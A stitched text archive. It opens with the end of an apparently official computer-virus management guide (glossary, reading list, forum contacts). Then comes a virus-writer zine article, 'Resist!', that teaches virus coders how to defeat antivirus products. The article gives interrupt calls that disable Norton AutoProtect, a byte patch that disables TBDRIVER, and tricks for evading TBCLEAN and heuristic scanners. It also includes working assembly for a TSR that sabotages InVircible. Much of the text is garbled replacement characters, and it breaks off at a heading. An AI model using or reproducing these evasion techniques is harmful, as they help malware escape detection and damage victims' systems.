affect the confidentiality,
integrity, or availability of
computer systems and networks.
Unauthorized User(s): A user
who knowingly uses a system in
a non-legitimate manner. The
user may or may not be an
authorized user of the system.
The actions of the user
violate established security
mechanisms or policies, or
codes of ethical conduct, or
both.
Trojan Horse: A name for a
program that disguises its
harmful intent by purporting
to accomplish some harmless
and possibly useful function.
For example, a Trojan horse
program could be advertised as
a calculator, but it may
actually perform some other
function when executed such as
modifying files.
Back Door: An entry point to
a program or system that is
hidden or disguised, perhaps
created by the software's
author for maintenance or
other convenience reasons.
For example, an operating sys-
tem's password mechanism may
contain a back door such that
a certain sequence of control
characters may permit
access to the system manager
account. Once a back door be-
comes known, it can be used by
unauthorized users or
malicious software to gain
entry and cause damage.
Time Bomb, Logic Bomb:
Mechanisms used by some
examples of malicious software
to cause damage after a
predetermined event. In the
case of a time bomb, the event
is a certain system date,
whereas for a logic bomb, the
event may vary. For example,
a computer virus may infect
other programs, yet cause no
other immediate damage. If
the virus contains a time bomb
mechanism, the infected
programs would routinely check
the system date or time and
compare it with a preset
value. When the actual date
or time matches the preset
value, the destructive
aspects of the virus code
would be executed. If the
virus contains a logic bomb,
the triggering event may be a
certain sequence of key
strokes, or the value of a
counter.
Anti-Virus Software: Software
designed to detect the occur-
rence of a virus. Sold as
commercial products and as
shareware, anti-virus programs
can scan software for known
viruses or monitor a system's
behavior and raise alarms when
activity occurs that is typi-
cal of certain types of
computer viruses.
Isolated System: A system
that has been specially
configured for determining
whether applicable programs
contain viruses or other types
of malicious software. The
system is generally
disconnected from any computer
networks or linked systems,
and contains test data or data
that can be restored if
damaged. The system may use
anti-virus or other monitoring
software to detect the
presence of malicious
software.
Computer Security: The tech-
nological safeguards and
management procedures that can
be applied to computer
hardware, programs, data, and
facilities to assure the
availability, integrity, and
confidentiality of computer
based resources and to assure
that intended functions are
performed without harmful side
effects.
SUGGESTED READINGS
Adler, Marc, "Infection Protection: Antivirus Software" PC
Magazine, April 25, 1989.
Arkin, Stanley et al., "Prevention and Prosecution of High-Tech
Crime," Matthew Bender Press Co., 1989.
Brenner, Aaron, "LAN Security", LAN Magazine, August 1989.
Bunzel, Rick, "Flu Season," Connect, Summer 1988.
Cohen, Fred, "Computer Viruses," Proceedings of the 7th DoD/NBS
Computer Security Conference, 1984.
Computer Viruses - Proceedings of an Invitational Symposium, Oct
10/11, 1988, Deloitte, Haskins, and Sells, 1989.
Denning, Peter J., "Computer Viruses," American Scientist, Volume
76 May-June 1988.
Denning, Peter J., "The Internet Worm," American Scientist,
Volume 77, March-April 1989.
Dewdney, A. K., "Of Worms, Viruses and Core Wars," Scientific
American, March 1989.
Dvorak, John, "Virus Wars: A Serious Warning," PC Magazine, Feb
29, 1988.
Federal Information Processing Standards Publication 112,
Password Usage, National Bureau of Standards, May 1985.
Fiedler, David and Hunter, Bruce M., "Unix System Administra-
tion," Hayden Books, 1987.
Fites, P.F., M.P.J. Kratz, and A.F. Brebner, "Control and
Security of Computer Information Systems," Computer Science
Press, 1989.
Fitzgerald, Jerry, "Business Data Communications: Basic Concepts,
Security, and Design," John Wiley and Sons, Inc., 1984.
Gasser, Morrie, "Building a Secure Computer System," Van Nostrand
Reinhold, New York, 1988.
Grampp, F. T. and Morris, R. H., "UNIX Operating System
Security," AT&T Bell Laboratories Technical Journal, October
1984.
Greenberg, Ross, "Know Thy Viral Enemy," Byte Magazine, June
1989.
Hatkin, Martha E, and Robert B. J. Warner, "Smart Card Technol-
ogy: New Methods for Computer Access Control," NIST Special
Publication 500-157, National Institute of Standards and Tech-
nology, September 1988.
Hoffman, Lance, "Modern Methods for Computer Security and
Privacy," Prentice-Hall, 1977.
Honan, Patrick, "Avoiding Virus Hysteria," Personal Computing,
May 1989.
Kurzban, Stanley A., "Viruses and Worms--What Can You Do?," ACM
SIG Security, Audit, & Control, Volume 7 Number 1, Spring 1989.
Lipner, S. and S. Kalman, "Computer Law,", Merrill Publishing
Co., 1989.
McAfee, John, "The Virus Cure," Datamation, Volume 35, Number 4,
February 15, 1989.
McLellan, Vin, "Computer Systems Under Siege," The New York
Times, January 17, 1988.
Murray, William H., "Epidemiology Application to Computer
Viruses," Computers and Security, Volume 7, Number 2, April 1988.
Parker, T., "Public domain software review: Trojans revisited,
CROBOTS, and ATC," Computer Language, April 1987.
Pfleeger, Charles, P., "Security in Computing," Prentice-Hall,
1989.
Pozzo, Maria M., and Terence E. Gray, "An Approach to Containing
Computer Viruses," Computers and Security, Volume 6, Number 4,
August 1987.
Rubenking, Neil, "Infection Protection," PC Magazine, April 25,
1989.
Schnaidt, Patricia, "Fasten Your Safety Belt," LAN Magazine,
October 1987.
Shoch, John F., and Jon A. Hupp, "The Worm Programs--Early
Experience with a Distributed Computation," Communications of the
ACM, Volume 25, Number 3, March 1982.
Spafford, Eugene H., "The Internet Worm Program: An Analysis,"
Purdue Technical Report CSD-TR-823, November 28, 1988.
Spafford, Eugene H., Kathleen A. Heaphy, and David J. Ferbrache,
"Computer Viruses - Dealing with Electronic Vandalism and
Programmed Threats," ADAPSO Software Industry Division Report,
1989.
Stefanac, Suzanne, "Mad MACS," Macworld, November 1988.
Steinauer, Dennis D., NBS Special Publication 500-120, Security
of Personal Computer Systems: A Management Guide, National Bureau
of Standards, January 1985.
Stohl, Clifford, "The Cuckoo's Egg," Doubleday, 1989.
Thompson, Ken, "Reflections on Trusting Trust (Deliberate
Software Bugs)," Communications of the ACM, Vol 27, August 1984.
Tinto, Mario, "Computer Viruses: Prevention, Detection, and
Treatment," National Computer Security Center C1 Tech. Rpt. C1-
001-89, June 1989.
Wack, John P., and Lisa J. Carnahan, "Computer Viruses and
Related Threats: A Management Guide," NIST Special Publication
500-166, National Institute of Standards and Technology, August
1989.
White, Steve R., David M. Chess, and Chengi Jimmy Kuo, "Coping
with Computer Viruses and Related Problems," Research Report
Number RC 14405, International Business Machines Corporation,
Yorktown Heights, New York, 1989, adapted and distributed as
"Coping with Computer Viruses and Related Problems," Form G320-
9913, International Business Machines Corporation, September
1989.
Witten, I. H., "Computer (In)security: infiltrating open sys-
tems," Abacus (USA), Summer 1987.
ELECTRONIC FORUMS:
VIRUS-L is a moderated mail forum for discussing computer virus
issues; comp.virus is a non-digested Usenet counterpart. Infor-
mation on accessing anti-virus, documentation, and back-issue
archives is distributed periodically on the list. Send subscrip-
tion requests to: LISTSERV@LEHIIBM1.BITNET. In the body of the
message, enter "SUB VIRUS-L your name"
RISKS-FORUM Digest is a moderated mail forum for discussing
computer security issues as well as risks associated with other
forms of technology. Send subscription requests to:
RISKS-Request@CSL.SRI.COM.
The NIST Security Bulletin Board is a repository of computer
security information open to the general public. Users can
download files, send messages, participate in forums, and access
security alert information. Dial
(301) 948-5717 at 2400/1200/300 BPS, parity none, 1 stop bit, 8-
bit characters.


575
textfiles.com/virus/resist.txt Normal file
View File

@@ -0,0 +1,575 @@
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> R e s i s t ! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20><><EFBFBD> Futher virus strategies <20><><EFBFBD>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> by Mouth of Sauron <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Disabling AutoProtect and NAVTSR
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
One of the first antivirus programs available for Windows 95 was Norton Anti-
virus. Except for the user interface, nothing much changed. The detection ratio
and protection level is a joke. But nevertheless a lot of people use NAV(95)
and have NAVTSR or AutoProtect installed, which should protect them from
"all known and unknown" viruses. Hmmm, the Symantec advertisement is also quite
funny, all that crap about 32 bit viruses. So far, no 32 bit virus is known,
except Bizatch which was not finished when NAV95 was available in the shops.
There are several possible ways to attack NAV, I will describe two of them
here. First of all, AutoProtect and NAVTSR have an INT 2Fh API which allows you
to detect, disable and enable the VxD/TSR, similar to VSAFE (remember VSLAY?):
* The NAVTSR and AutoProtect API:
- NAV 4.0 (NAV for Windows 95):
Detect:
MOV AX,0FE00H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
Results:
-> AX = 0 TSR not active
AX = 1 TSR active
SI = 6E61H
DI = 6E75H
Enable:
MOV AX,0FE01H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
Disable:
MOV AX,0FE02H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
The second approach is to delete the data files NAV uses to immunise files
and the boot sector. NAV puts all this data into some files which are
located in "\NCDTREE" by default, one directory for each drive. The user
could change the location of these data files, but this option is well hidden
so I guess none of these dummy users will ever change it. Well, just delete
the files in "\NCDTREE" and NAV will recreate all the data without any warning
next time it is called.
By default, NAV doesn't scan the upper memory area (UMB) and will not detect
viruses which go resident there. It's always a good idea to use UMB for staying
resident, so use it!
TBAV: No changes!
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* Disabling TBDRIVER:
Although the method to disable TBDRIVER (from the great TBAV antivirus
program) has been known for several months and several viruses are known
to use this trick, Thunderbyte B.V. has done nothing to protect it's product
against this attack. Up to version 6.51, the entry point code of TBDRIVER
looks the same and can be modified without problems.
Just scan the memory for
EB 05 (*)
EA xx xx xx xx
FA
9C
FC
53
50
To disable TBDRIVER and all it's supporting TSRs like TBFILE, TBMEM, TBCHECK
and TBSCANX just change the EB 05 (that's a SHORT JMP) to EB 00. The TSR is
then disabled and can't intercept your virus. Furthermore, you can get the
original INT 21h vector which is stored after the "EA" (FAR JMP).
A good idea is to do the scanning while tracing INT 21h. When you patch the
driver at once, no trace warning will be displayed. But simple INT 1 tracing
is now quite dangerous, as there are many watchdog TSRs which intercept it.
To prevent detection by these tools, you could scan each of the MCB areas
(but keep in mind that TBDRIVER can also be loaded as a DEVICE!) for the
signature, or you can use recursive tunneling. If you don't know recursive
tunneling, take a look at ART (was released in an older VLAD magazine).
It can be done even more easily, just code emulate the most important
branch operands like SHORT JMP, NEAR JMP and FAR JMP to trace through the
interrupt chain. As this is only emulation and not real single-step tracing,
it can't be intercepted. The most effective method to get the original INT 21h
vector is kernel scanning, which I will explain later in this text.
Besides the scanner and resident watchdogs, TBAV contains a tool called
TBCLEAN. This is a generic file virus cleaner, but unlike TBSCAN it does not
use code emulation but rather does stupid INT 1 tracing with some security
checks to prevent the virus from activating. The first virus which managed
to activate while being cleaned with TBCLEAN was Varicella, but the method
used to cheat TBCLEAN no longer works. Still, there are some ways to fool
TBCLEAN. Besides using do-nothing interrupt calls like AH=01h INT 16h, AH=08h
INT 10h or other INT 21h API calls, stack modifications (DEC SP, INC SP) or
prefetch queue tricks to stop TBCLEAN from cleaning a file. COM infectors also
can do a quick jump back to offset 100h to stop the cleaning process, but it
is much more interesting to use TBCLEAN as a vector. TBCLEAN of course prevents
all direct manipulation of the interrupt vector area (you also can use this
to stop TBCLEAN), but obviously TBCLEAN has problems handling segment
overrides like DS: ES: and the others.
A simple example. Try to (TB)clean this little COM program:
mov AX,4c00h
db 2eh
int 21h
nop
Funny, isn't it? The segment override in combination with the NOP prevents
TBCLEAN from detecting the interrupt call, which will get executed for real
now! To fully activate your virus, you could use AX=2521h (Set interrupt)
to set a new interrupt 21h routine.
Keep in mind that this override/NOP structure could be used for possible
heuristic flags, so hide it behind a layer of (polymorphic) encryption.
AHA - A dangerous new heuristic engine
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Unnoticed by most virus coders, S&S added a new heuristic engine to their
already very good scanner FINDVIRUS from the Dr. Solomon Antivirus Toolkit.
Besides it's very good hit ratios and detection of even the most polymorphic
viruses, it also causes almost no false positives. But this is also the weak
point of the heuristic. The coders' first aim was obviously for the
heuristics not to cause any false positives, and the checks it does to
prevent them are quite easy to come by. At first, the entry point of the
program must be around 200 to 4000 bytes before the end of file. Normally,
encrypted viruses look like this:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20> 
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> 1 <20> 2 <20> 3 <20> 4 <20>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
(1) = Program header, now points to virus entry point at (3)
(2) = Old program code
(3) = Entry point of virus with the decryptor
(4) = Encrypted virus code
This AHA detects without problems, but it fails to detect the same (!) virus
if it's modified like this:
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<20> 
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
<EFBFBD> 1 <20> 2 <20> 3 <20> 4 <20>5<EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 <20>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
(1) = Program header, now points to virus entry point at (5)
(2) = Old program code
(3) = Real entry point of virus with the decryptor
(4) = Encrypted virus code
(5) = Simple or hidden jump to real virus start at (3)
If the entry point lies out of the usual area, AHA thinks it's a normal
program and stops analysing it. Besides this, AHA is very susceptible to
anti-heuristic structures and it only cares about normal file infectors,
ignoring boot viruses completely. AHA also doesn't emulate the interrupt
or BIOS area at 0:0 or 40:0, so make some far calls to this area to stop
AHA from emulating code. Stack modifications also confuse AHA, similar to
prefetch queue tricks, but as these queue tricks don't run on Pentiums,
it's no longer possible to use them. AHA is very effective at detecting
polymorphic engines which create large amounts of garbage opcode, so create
only "smooth" decryptors with your polymorphic engine.
Slow motion
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I already discussed slow polymorphic engines some time ago, but as this
is quite important I'm mentioning it here again. Most virus coders think
that a polymorphic engine is good when it's very variable and changes
with every infected file. This is true to some extent, but this also
allows the virus researchers to quickly analyse the engine by just creating
a few hundred files. Usually, the AV researchers get a lot of new viruses
every week and they don't have the time to fully analyse every single virus.
So, if the virus looks static after quickly infecting five or ten files, the
researcher won't do further analysis and will just add a simple scan string to
their product. This will happen if you are using a slow polymorphic engine,
or at least slow down the randomizing of it. It might be a good idea to
fetch the neccessary random factors only one time per day, at the time when
the virus goes resident for example (what, your virus is not resident? Argh!).
Also, use the system date instead of the system time to create random numbers.
If the created decryptors change only very slowly, it'll become quite difficult
to create enough representative infected bait files.
Instead of inserting garbage opcodes, your engine should add "real" code,
which looks like useful code. Use branches (calls!) and do many time consuming
loops. An example of this is SMEG, which creates huge decryptors but the
decryption method itself is too weak. It's useless to write a polymorphic
engine which creates 2000 byte large decryptors but only uses a simple 8 bit
XOR for encryption. Consider this for your engine and use several different
encryption methods in combination. Another interesting method to fool scanners,
especially TBSCAN is to fake known file headers like PKLITE, LZEXE or TURBO C.
For example, all PKLITE compressed files always begin with:
B8 xx xx mov AX,????
BA xx xx mov DX,????
05 xx xx add AX,????
3b 06 02 00 cmp AX,[2]
73 1a jnb Label_1 or: 72 1b jb Label_1
2d 20 00 sub AX,20h b4 09 mov AH,9
FA cli ba ?? ?? ba 18 01
If your virus begins with these harmless opcodes, TBSCAN will just report
"Looking ... > cp" and will stop scaning the file, thinking it's compressed
with PKLITE. Take a look at PKLITE 1.15 or TURBO C headers and copy them,
but keep in mind that these are fixed strings. A polymorphic engine could
possibly fake a couple of these known file headers in order to cause confusion.
Lastly, most code emulators don't fully emulate all interrupt 21h API
calls. So, use some of them which result in known register contents, for
example AH=52h INT 21h. This only returns a vector to the SYSVARS list in
memory, and almost every DOS version (tested with MS-DOS, IBM-DOS and OS/2)
returns BX=26h. Or access the interrupt vector table (at 0:0) directly, for
example by creating a simple RETF there and then FAR CALLING this address.
Generic Anti-Anti-Virus?
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
There were many discussions about InVircible, a generic antivirus toolkit from
NetZ Computing. The result of this was some anti-InVircible viruses which
attack it by deleting the data files, IVB.NTZ by default. Of course, it's
possible to rename this file, and one virus coder solved this by scanning
every file in the current directory for the usual IVB.NTZ file header.
Zvi Netivs' answer to One13th is to use variable file headers for IVB.NTZ, so
you can't scan for them anymore. In fact, he is faking known file headers
like EXE files and ZIP or ARJ archives. But it's still very easy to do a
generic approach in order to find the data files. The solution I present here
is very easy. When IVB.EXE starts, it checks the IV.INI configuration file
for the SIG= parameter. The little TSR following here just intercepts this
and overwrites the signature name in memory. IVB just says that it's renewing
the data file and ignores any changes done to programs! Of course, it's
possible to read out the data file name and delete it afterwards, or simply
to delete IV.INI. In this case, InVircible just uses the standard IVB.NTZ
name again. It is very important that your virus stops infecting and
stealthing files when InVircible is executed because the virus checks are
good and will most likely detect the virus, even if InVircible can't read
it's data files.
This is just a simple TSR, not a virus!
org 100h
Virus_StartUp: mov ax,3521h
int 21h
mov word ptr [OldInt21],bx
mov word ptr [OldInt21+2],es
mov ah,25h
mov dx,offset NewInt21
int 21h
mov ah,31h ;Stay resident
mov dx,(Virus_End-Virus_StartUp+100h)/10h+1
int 21h
NewInt21: cmp ah,3fh ;Read file access?
je l_Read
EndInt21: db 0eah ;Jump back to old int21
OldInt21 dd 0
l_Read: pushf ;Read in the data
call dword ptr cs:[OldInt21]
jc l1
pushf
or ax,ax ;Nothing read?
jz l3
push ax
push cx
push si
mov si,dx
sub ax,4
xchg cx,ax
cmp word ptr [si],"IS" ;'SIG='?
jne l2
cmp word ptr [si+2],"=G"
jne l2
l4: cmp byte ptr [si+4]," " ;Wipe signature name
jb l2
mov byte ptr [si+4]," "
inc si
loop l4
l2: pop si
pop cx
pop ax
l3: popf
l1: retf 2
Virus_End label byte
You also might intercept the executing of IVB.EXE and add '/V' to the actual
command-line! IVB will remove all the data files on it's own...
Anti-Bait
